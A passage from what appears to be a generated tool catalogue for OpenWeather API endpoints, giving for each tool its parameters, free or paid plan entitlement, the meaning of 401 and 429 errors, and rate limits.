its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/alerts/1.0. Scopes: api. openweather_get_data_2_5_aggregated_day (read) — Statistical weather: one calendar day via GET history.openweathermap.org/data/2.5/aggregated/day. Statistical weather for one calendar day (`month`, `day`) at a point, aggregated over OpenWeather's historical archive: mean/min/max/median temperature, pressure, humidity, wind, precipitation and cloud statistics. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. (`q`/`id` are legacy alternatives.) ENTITLEMENT: NOT in the Free plan. This product needs a paid OpenWeather plan (measured 2026-09-19: a free key is answered 401 'Invalid API key', which is the SAME message OpenWeather sends for a key that is still activating and for a wrong key). A 401 on this tool therefore means 'this product needs a paid plan, or the key is still activating (up to 2 hours)' -- it is NOT evidence that the key is invalid; check with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/2.5/aggregated/day. Scopes: api. openweather_get_data_2_5_aggregated_month (read) — Statistical weather: one calendar month via GET history.openweathermap.org/data/2.5/aggregated/month. Statistical weather for one calendar `month` at a point, aggregated over the historical archive. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. (`q`/`id` are legacy alternatives.) ENTITLEMENT: NOT in the Free plan. This product needs a paid OpenWeather plan (measured 2026-09-19: a free key is answered 401 'Invalid API key', which is the SAME message OpenWeather sends for a key that is still activating and for a wrong key). A 401 on this tool therefore means 'this product needs a paid plan, or the key is still activating (up to 2 hours)' -- it is NOT evidence that the key is invalid; check with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/2.5/aggregated/month. Scopes: api. openweather_get_data_2_5_aggregated_year (read) — Statistical weather: whole year via GET history.openweathermap.org/data/2.5/aggregated/year. Statistical weather for the whole year at a point, one entry per day of the year, aggregated over the historical archive. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. (`q`/`id` are legacy alternatives.) ENTITLEMENT: NOT in the Free plan. This product needs a paid OpenWeather plan (measured 2026-09-19: a free key is answered 401 'Invalid API key', which is the SAME message OpenWeather sends for a key that is still activating and for a wrong key). A 401 on this tool therefore means 'this product needs a paid plan, or the key is still activating (up to 2 hours)' -- it is NOT evidence that the key is invalid; check with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/2.5/aggregated/year. Scopes: api. openweather_get_data_2_5_air_pollution (read) — Current air pollution via GET api.openweathermap.org/data/2.5/air_pollution. Current air quality at a point: the Air Quality Index (1 Good to 5 Very Poor) and concentrations in ug/m3 of CO, NO, NO2, O3, SO2, PM2.5, PM10 and NH3. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. ENTITLEMENT: included in the Free plan (measured 2026-09-19 with a free key). A 401 on this tool means the key itself was not accepted -- it is still activating (up to 2 hours after registration), was pasted wrong, or was revoked. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/2.5/air_pollution. Scopes: api. openweather_get_data_2_5_air_pollution_forecast (read) — Air pollution forecast via GET api.openweathermap.org/data/2.5/air_pollution/forecast. Hourly air-quality forecast for a point -- the same AQI and pollutant concentrations as the current call, one entry per hour ahead. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. ENTITLEMENT: included in the Free plan (measured 2026-09-19 with a free key). A 401 on this tool means the key itself was not accepted -- it is still activating (up to 2 hours after registration), was pasted wrong, or was revoked. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/2.5/air_pollution/forecast. Scopes: api. openweather_get_data_2_5_air_pollution_history (read) — Air pollution history via GET api.openweathermap.org/data/2.5/air_pollution/history. Historical hourly air quality for a point between `start` and `end` (Unix seconds, UTC); history is available from 27 November 2020. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. ENTITLEMENT: included in the Free plan (measured 2026-09-19 with a free key). A 401 on this tool means the key itself was not accepted -- it is still activating (up to 2 hours after registration), was pasted wrong, or was revoked. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/2.5/air_pollution/history. Scopes: api. openweather_get_data_2_5_find (read) — Cities within a circle (current weather) via GET api.openweathermap.org/data/2.5/find. Current weather for the cities nearest a point -- up to `cnt` (default 10, max 50) cities within a circle around `lat`/`lon`, each with its OpenWeather city id, name, coordinates and current conditions. Useful to discover city ids and to compare nearby places in one call. `units` is standard (Kelvin, m/s -- the default), metric (Celsius, m/s) or imperial (Fahrenheit, mph); `lang` localises the weather description text. NOTE: this route is live (measured 2026-09-19) but absent from the endpoint ledger; it was added by hand from OpenWeather's own documentation. ENTITLEMENT: included in the Free plan (measured 2026-09-19 with a free key). A 401 on this tool means the key itself was not accepted -- it is still activating (up to 2 hours after registration), was pasted wrong, or was revoked. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/2.5/find. Scopes: api. openweather_get_data_2_5_forecast (read) — 5-day / 3-hour forecast via GET api.openweathermap.org/data/2.5/forecast. Five-day forecast in 3-hour steps (40 entries) for a point, each with temperature, pressure, humidity, weather condition, cloud cover, wind, visibility, probability of precipitation and rain/snow volumes, plus the city block with sunrise/sunset. `cnt` limits how many steps come back. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. `units` is standard (Kelvin, m/s -- the default), metric (Celsius, m/s) or imperial (Fahrenheit, mph); `lang` localises the weather description text. The `q` (city name), `id` (city id) and `zip` query alternatives are OpenWeather's deprecated built-in geocoder and still work, but `lat`/`lon` is the documented form. `mode=xml` or `mode=html` changes the response format away from JSON; omit it to receive JSON. ENTITLEMENT: included in the Free plan (measured 2026-09-19 with a free key). A 401 on this tool means the key itself was not accepted -- it is still activating (up to 2 hours after registration), was pasted wrong, or was revoked. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/2.5/forecast. Scopes: api. openweather_get_data_2_5_forecast_climate (read) — Climatic forecast (30 days) via GET pro.openweathermap.org/data/2.5/forecast/climate. Thirty-day climatic forecast for a point, one entry per day, on the pro.openweathermap.org host. `cnt` (1-30) limits the number of days. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. `units` is standard (Kelvin, m/s -- the default), metric (Celsius, m/s) or imperial (Fahrenheit, mph); `lang` localises the weather description text. The `q` (city name), `id` (city id) and `zip` query alternatives are OpenWeather's deprecated built-in geocoder and still work, but `lat`/`lon` is the documented form. `mode=xml` or `mode=html` changes the response format away from JSON; omit it to receive JSON. ENTITLEMENT: NOT in the Free plan. This product needs a paid OpenWeather plan (measured 2026-09-19: a free key is answered 401 'Invalid API key', which is the SAME message OpenWeather sends for a key that is still activating and for a wrong key). A 401 on this tool therefore means 'this product needs a paid plan, or the key is still activating (up to 2 hours)' -- it is NOT evidence that the key is invalid; check with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/2.5/forecast/climate. Scopes: api. openweather_get_data_2_5_forecast_daily (read) — Daily forecast (16 days) via GET api.openweathermap.org/data/2.5/forecast/daily. Daily forecast for up to 16 days for a point: per-day temperature (day/night/eve/morn, min/max), pressure, humidity, weather condition, wind, cloud cover, probability of precipitation and rain/snow volume. `cnt` (1-16) limits the number of days. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. `units` is standard (Kelvin, m/s -- the default), metric (Celsius, m/s) or imperial (Fahrenheit, mph); `lang` localises the weather description text. The `q` (city name), `id` (city id) and `zip` query alternatives are OpenWeather's deprecated built-in geocoder and still work, but `lat`/`lon` is the documented form. `mode=xml` or `mode=html` changes the response format away from JSON; omit it to receive JSON. ENTITLEMENT: NOT in the Free plan. This product needs a paid OpenWeather plan (measured 2026-09-19: a free key is answered 401 'Invalid API key', which is the SAME message OpenWeather sends for a key that is still activating and for a wrong key). A 401 on this tool therefore means 'this product needs a paid plan, or the key is still activating (up to 2 hours)' -- it is NOT evidence that the key is invalid; check with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/2.5/forecast/daily. Scopes: api. openweather_get_data_2_5_forecast_hourly (read) — Hourly forecast (4 days) via GET pro.openweathermap.org/data/2.5/forecast/hourly. Hourly forecast for the next 4 days (96 steps) for a point, on the pro.openweathermap.org host. `cnt` limits the number of steps. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. `units` is standard (Kelvin, m/s -- the default), metric (Celsius, m/s) or imperial (Fahrenheit, mph); `lang` localises the weather description text. The `q` (city name), `id` (city id) and `zip` query alternatives are OpenWeather's deprecated built-in geocoder and still work, but `lat`/`lon` is the documented form. `mode=xml` or `mode=html` changes the response format away from JSON; omit it to receive JSON. ENTITLEMENT: NOT in the Free plan. This product needs a paid OpenWeather plan (measured 2026-09-19: a free key is answered 401 'Invalid API key', which is the SAME message OpenWeather sends for a key that is still activating and for a wrong key). A 401 on this tool therefore means 'this product needs a paid plan, or the key is still activating (up to 2 hours)' -- it is NOT evidence that the key is invalid; check with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/2.5/forecast/hourly. Scopes: api. openweather_get_data_2_5_fwi (read) — Fire weather index: current via GET api.openweathermap.org/data/2.5/fwi. Current Fire Weather Index at a point -- the Canadian FWI components (FFMC, DMC, DC, ISI, BUI, FWI) and a danger rating. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. ENTITLEMENT: NOT in the Free plan. This product needs a paid OpenWeather plan (measured 2026-09-19: a free key is answered 401 'Invalid API key', which is the SAME message OpenWeather sends for a key that is still activating and for a wrong key). A 401 on this tool therefore means 'this product needs a paid plan, or the key is still activating (up to 2 hours)' -- it is NOT evidence that the key is invalid; check with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/2.5/fwi. Scopes: api. openweather_get_data_2_5_fwi_forecast (read) — Fire weather index: forecast via GET api.openweathermap.org/data/2.5/fwi/forecast. Fire Weather Index forecast for the coming days at a point. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. ENTITLEMENT: NOT in the Free plan. This product needs a paid OpenWeather plan (measured 2026-09-19: a free key is answered 401 'Invalid API key', which is the SAME message OpenWeather sends for a key that is still activating and for a wrong key). A 401 on this tool therefore means 'this product needs a paid plan, or the key is still activating (up to 2 hours)' -- it is NOT evidence that the key is invalid; check with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/2.5/fwi/forecast. Scopes: api. openweather_get_data_2_5_history_accumulated_precipitation (read) — Accumulated precipitation via GET history.openweathermap.org/data/2.5/history/accumulated_precipitation. Total precipitation accumulated at a point between `start` and `end` (Unix seconds, UTC), from the History API. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. ENTITLEMENT: NOT in the Free plan. This product needs a paid OpenWeather plan (measured 2026-09-19: a free key is answered 401 'Invalid API key', which is the SAME message OpenWeather sends for a key that is still activating and for a wrong key). A 401 on this tool therefore means 'this product needs a paid plan, or the key is still activating (up to 2 hours)' -- it is NOT evidence that the key is invalid; check with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/2.5/history/accumulated_precipitation. Scopes: api. openweather_get_data_2_5_history_accumulated_temperature (read) — Accumulated temperature via GET history.openweathermap.org/data/2.5/history/accumulated_temperature. Accumulated temperature (degree-days above `threshold`, Kelvin) at a point between `start` and `end` (Unix seconds, UTC). Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. ENTITLEMENT: NOT in the Free plan. This product needs a paid OpenWeather plan (measured 2026-09-19: a free key is answered 401 'Invalid API key', which is the SAME message OpenWeather sends for a key that is still activating and for a wrong key). A 401 on this tool therefore means 'this product needs a paid plan, or the key is still activating (up to 2 hours)' -- it is NOT evidence that the key is invalid; check with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/2.5/history/accumulated_temperature. Scopes: api. openweather_get_data_2_5_history_city (read) — Hourly weather history for a city via GET history.openweathermap.org/data/2.5/history/city. Hourly historical weather for a point: `type=hour`, with `start`/`end` (Unix seconds, UTC) or `start`+`cnt` hours, up to one week per call, from the History API. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. `units` is standard (Kelvin, m/s -- the default), metric (Celsius, m/s) or imperial (Fahrenheit, mph); `lang` localises the weather description text. ENTITLEMENT: NOT in the Free plan. This product needs a paid OpenWeather plan (measured 2026-09-19: a free key is answered 401 'Invalid API key', which is the SAME message OpenWeather sends for a key that is still activating and for a wrong key). A 401 on this tool therefore means 'this product needs a paid plan, or the key is still activating (up to 2 hours)' -- it is NOT evidence that the key is invalid; check with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/2.5/history/city. Scopes: api. openweather_get_data_2_5_onecall (read) — One Call 2.5 (legacy) via GET api.openweathermap.org/data/2.5/onecall. The LEGACY One Call 2.5 endpoint: current, minutely, hourly, daily and alerts in one response, with `exclude` to omit blocks. OpenWeather has superseded it with One Call 3.0 and it is not available to new accounts; prefer the 3.0 tool. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. `units` is standard (Kelvin, m/s -- the default), metric (Celsius, m/s) or imperial (Fahrenheit, mph); `lang` localises the weather description text. ENTITLEMENT: NOT in the Free plan. This product needs a paid OpenWeather plan (measured 2026-09-19: a free key is answered 401 'Invalid API key', which is the SAME message OpenWeather sends for a key that is still activating and for a wrong key). A 401 on this tool therefore means 'this product needs a paid plan, or the key is still activating (up to 2 hours)' -- it is NOT evidence that the key is invalid; check with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/2.5/onecall. Scopes: api. openweather_get_data_2_5_weather (read) — Current weather via GET api.openweathermap.org/data/2.5/weather. Current weather conditions at a point: temperature, feels-like, min/max, pressure, humidity, visibility, wind speed/direction/gust, cloud cover, rain and snow volumes for the last 1h/3h, sunrise and sunset, plus the weather condition code and icon. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. `units` is standard (Kelvin, m/s -- the default), metric (Celsius, m/s) or imperial (Fahrenheit, mph); `lang` localises the weather description text. The `q` (city name), `id` (city id) and `zip` query alternatives are OpenWeather's deprecated built-in geocoder and still work, but `lat`/`lon` is the documented form. `mode=xml` or `mode=html` changes the response format away from JSON; omit it to receive JSON. This is also the credential probe of the hosted connect page, where OpenWeather checks the key here before it is stored; the dashboard form stores the key as pasted, and a wrong or still-activating key fails at the first call. OpenWeather's model updates no faster than every 10 minutes, so polling the same place more often returns the same answer. ENTITLEMENT: included in the Free plan (measured 2026-09-19 with a free key). A 401 on this tool means the key itself was not accepted -- it is still activating (up to 2 hours after registration), was pasted wrong, or was revoked. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/2.5/weather. Scopes: api. openweather_get_data_3_0_history_locations (read) — History archive: list requested locations via GET history.openweathermap.org/data/3.0/history/locations. History Archive (One Call history bulk): list the locations this account has requested archives for, with their ids and status. ENTITLEMENT: NOT in the Free plan. This product needs a paid OpenWeather plan (measured 2026-09-19: a free key is answered 401 'Invalid API key', which is the SAME message OpenWeather sends for a key that is still activating and for a wrong key). A 401 on this tool therefore means 'this product needs a paid plan, or the key is still activating (up to 2 hours)' -- it is NOT evidence that the key is invalid; check with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/3.0/history/locations. Scopes: api. openweather_get_data_3_0_history_locations_create (write) — History archive: request a location (GET that creates) via GET history.openweathermap.org/data/3.0/history/locations/create. WARNING: A GET THAT CREATES. History Archive: request that OpenWeather build a historical archive for the point `lat`/`lon`. OpenWeather exposes this as a GET on `/data/3.0/history/locations/create`, but calling it REGISTERS a new location on the account and starts archive preparation -- it is a write, not a read, and it is classified as one here. Read the location list first to avoid duplicates. Never call it to 'check' anything. ENTITLEMENT: NOT in the Free plan. This product needs a paid OpenWeather plan (measured 2026-09-19: a free key is answered 401 'Invalid API key', which is the SAME message OpenWeather sends for a key that is still activating and for a wrong key). A 401 on this tool therefore means 'this product needs a paid plan, or the key is still activating (up to 2 hours)' -- it is NOT evidence that the key is invalid; check with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/3.0/history/locations/create. Scopes: api. openweather_get_data_3_0_history_result (read) — History archive: fetch archived data via GET history.openweathermap.org/data/3.0/history/result. History Archive: fetch the archived hourly data for a requested location `id` between `start` and `end` (Unix seconds, UTC), once the archive is ready. ENTITLEMENT: NOT in the Free plan. This product needs a paid OpenWeather plan (measured 2026-09-19: a free key is answered 401 'Invalid API key', which is the SAME message OpenWeather sends for a key that is still activating and for a wrong key). A 401 on this tool therefore means 'this product needs a paid plan, or the key is still activating (up to 2 hours)' -- it is NOT evidence that the key is invalid; check with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/3.0/history/result. Scopes: api. openweather_get_data_3_0_history_timemachine (read) — History for one timestamp (One Call history) via GET history.openweathermap.org/data/3.0/history/timemachine. One Call history for a single timestamp `dt` (Unix seconds, UTC) at a point, from history.openweathermap.org. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. ENTITLEMENT: NOT in the Free plan. This product needs a paid OpenWeather plan (measured 2026-09-19: a free key is answered 401 'Invalid API key', which is the SAME message OpenWeather sends for a key that is still activating and for a wrong key). A 401 on this tool therefore means 'this product needs a paid plan, or the key is still activating (up to 2 hours)' -- it is NOT evidence that the key is invalid; check with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/3.0/history/timemachine. Scopes: api. openweather_get_data_3_0_measurements (read) — Get station measurements via GET api.openweathermap.org/data/3.0/measurements. Read aggregated measurements from one of this account's stations: `station_id` is the internal station `ID`, `type` is the aggregation (`m` minute, `h` hour, `d` day), `limit` caps the number of records, and `from`/`to` bound the window. Timestamps are Unix seconds, UTC. `station_id`, `type` and `limit` are all required (measured: omitting one answers 400 naming it). Aggregation is asynchronous, so a freshly sent measurement is not readable immediately (measured 2026-09-19: `[]` at m/h/d right after a 204). ENTITLEMENT: included in the Free plan (measured 2026-09-19 with a free key). A 401 on this tool means the key itself was not accepted -- it is still activating (up to 2 hours after registration), was pasted wrong, or was revoked. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/3.0/measurements. Scopes: api. openweather_get_data_3_0_onecall (read) — One Call 3.0: current, minutely, hourly, daily and alerts via GET api.openweathermap.org/data/3.0/onecall. One Call 3.0 in a single response for a point: current weather, a minute-by-minute precipitation forecast for the next hour, an hourly forecast for 48 hours, a daily forecast for 8 days and active government weather alerts. `exclude` is a comma-separated list of the blocks to omit (current, minutely, hourly, daily, alerts). Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. `units` is standard (Kelvin, m/s -- the default), metric (Celsius, m/s) or imperial (Fahrenheit, mph); `lang` localises the weather description text. ENTITLEMENT: requires the One Call by Call subscription, which is NOT part of the Free plan and is bought separately (1,000 calls/day free with a card on file; home.openweathermap.org/subscriptions). Without it OpenWeather answers 401 'requires a separate subscription to the One Call by Call plan'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key, for a wrong key AND for no key at all, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/3.0/onecall. Scopes: api. openweather_get_data_3_0_onecall_day_summary (read) — One Call 3.0: daily aggregation via GET api.openweathermap.org/data/3.0/onecall/day_summary. One Call 3.0 daily aggregation for one calendar `date` (YYYY-MM-DD) at a point: min/max/morning/afternoon/evening/night temperature, cloud cover, humidity, precipitation, pressure and wind for that day, from 2 January 1979 to 1.5 years ahead. `tz` is the +HH:MM offset to define the day in. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. `units` is standard (Kelvin, m/s -- the default), metric (Celsius, m/s) or imperial (Fahrenheit, mph); `lang` localises the weather description text. ENTITLEMENT: requires the One Call by Call subscription, which is NOT part of the Free plan and is bought separately (1,000 calls/day free with a card on file; home.openweathermap.org/subscriptions). Without it OpenWeather answers 401 'requires a separate subscription to the One Call by Call plan'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key, for a wrong key AND for no key at all, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/3.0/onecall/day_summary. Scopes: api. openweather_get_data_3_0_onecall_overview (read) — One Call 3.0: human-readable weather overview via GET api.openweathermap.org/data/3.0/onecall/overview. One Call 3.0 weather overview: a human-readable paragraph summarising today's (or tomorrow's, via `date` YYYY-MM-DD) weather at a point, written by OpenWeather's model. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. `units` is standard (Kelvin, m/s -- the default), metric (Celsius, m/s) or imperial (Fahrenheit, mph); `lang` localises the weather description text. ENTITLEMENT: requires the One Call by Call subscription, which is NOT part of the Free plan and is bought separately (1,000 calls/day free with a card on file; home.openweathermap.org/subscriptions). Without it OpenWeather answers 401 'requires a separate subscription to the One Call by Call plan'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key, for a wrong key AND for no key at all, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/3.0/onecall/overview. Scopes: api. openweather_get_data_3_0_onecall_timemachine (read) — One Call 3.0: weather for a past or future timestamp via GET api.openweathermap.org/data/3.0/onecall/timemachine. One Call 3.0 weather for one specific timestamp `dt` (Unix seconds, UTC) at a point -- anywhere from 1 January 1979 up to 4 days ahead. Returns the conditions at that instant, not a range. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. `units` is standard (Kelvin, m/s -- the default), metric (Celsius, m/s) or imperial (Fahrenheit, mph); `lang` localises the weather description text. ENTITLEMENT: requires the One Call by Call subscription, which is NOT part of the Free plan and is bought separately (1,000 calls/day free with a card on file; home.openweathermap.org/subscriptions). Without it OpenWeather answers 401 'requires a separate subscription to the One Call by Call plan'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key, for a wrong key AND for no key at all, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/3.0/onecall/timemachine. Scopes: api. openweather_get_data_3_0_stations (read) — List weather stations via GET api.openweathermap.org/data/3.0/stations. List the personal weather stations registered to this OpenWeather account (Weather Stations 3.0), each with its internal `ID`, `external_id`, `name`, coordinates, altitude and rank. Returns `[]` for an account with no stations (measured 2026-09-19). ENTITLEMENT: included in the Free plan (measured 2026-09-19 with a free key). A 401 on this tool means the key itself was not accepted -- it is still activating (up to 2 hours after registration), was pasted wrong, or was revoked. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/3.0/stations. Scopes: api. openweather_get_data_3_0_stations_by_id (read) — Get a weather station via GET api.openweathermap.org/data/3.0/stations/{id}. Fetch one registered weather station by its internal OpenWeather `id` (the `ID` field from the station list, not your `external_id`). ENTITLEMENT: included in the Free plan (measured 2026-09-19 with a free key). A 401 on this tool means the key itself was not accepted -- it is still activating (up to 2 hours after registration), was pasted wrong, or was revoked. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/3.0/stations/{id}. Scopes: api. openweather_get_data_4_0_onecall_alert_by_alert_id (read) — One Call 4.0: government alert details via GET api.openweathermap.org/data/4.0/onecall/alert/{alert_id}. Full details of one government weather alert by the `alert_id` that a One Call 4.0 response referenced: sender, event, start/end, description and tags. ENTITLEMENT: requires the One Call by Call subscription, which is NOT part of the Free plan and is bought separately (1,000 calls/day free with a card on file; home.openweathermap.org/subscriptions). Without it OpenWeather answers 401 'requires a separate subscription to the One Call by Call plan'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key, for a wrong key AND for no key at all, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/4.0/onecall/alert/{alert_id}. Scopes: api. openweather_get_data_4_0_onecall_current (read) — One Call 4.0: current conditions via GET api.openweathermap.org/data/4.0/onecall/current. One Call 4.0 current conditions at a point. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. `units` is standard (Kelvin, m/s -- the default), metric (Celsius, m/s) or imperial (Fahrenheit, mph); `lang` localises the weather description text. ENTITLEMENT: requires the One Call by Call subscription, which is NOT part of the Free plan and is bought separately (1,000 calls/day free with a card on file; home.openweathermap.org/subscriptions). Without it OpenWeather answers 401 'requires a separate subscription to the One Call by Call plan'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key, for a wrong key AND for no key at all, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/4.0/onecall/current. Scopes: api. openweather_get_data_4_0_onecall_timeline_15min (read) — One Call 4.0: 15-minute timeline via GET api.openweathermap.org/data/4.0/onecall/timeline/15min. One Call 4.0 timeline in 15-minute steps at a point; `start` (Unix seconds, UTC) moves the window. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. `units` is standard (Kelvin, m/s -- the default), metric (Celsius, m/s) or imperial (Fahrenheit, mph); `lang` localises the weather description text. ENTITLEMENT: requires the One Call by Call subscription, which is NOT part of the Free plan and is bought separately (1,000 calls/day free with a card on file; home.openweathermap.org/subscriptions). Without it OpenWeather answers 401 'requires a separate subscription to the One Call by Call plan'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key, for a wrong key AND for no key at all, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/4.0/onecall/timeline/15min. Scopes: api. openweather_get_data_4_0_onecall_timeline_1day (read) — One Call 4.0: daily timeline via GET api.openweathermap.org/data/4.0/onecall/timeline/1day. One Call 4.0 daily timeline at a point; `start` (Unix seconds, UTC) moves the window. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. `units` is standard (Kelvin, m/s -- the default), metric (Celsius, m/s) or imperial (Fahrenheit, mph); `lang` localises the weather description text. ENTITLEMENT: requires the One Call by Call subscription, which is NOT part of the Free plan and is bought separately (1,000 calls/day 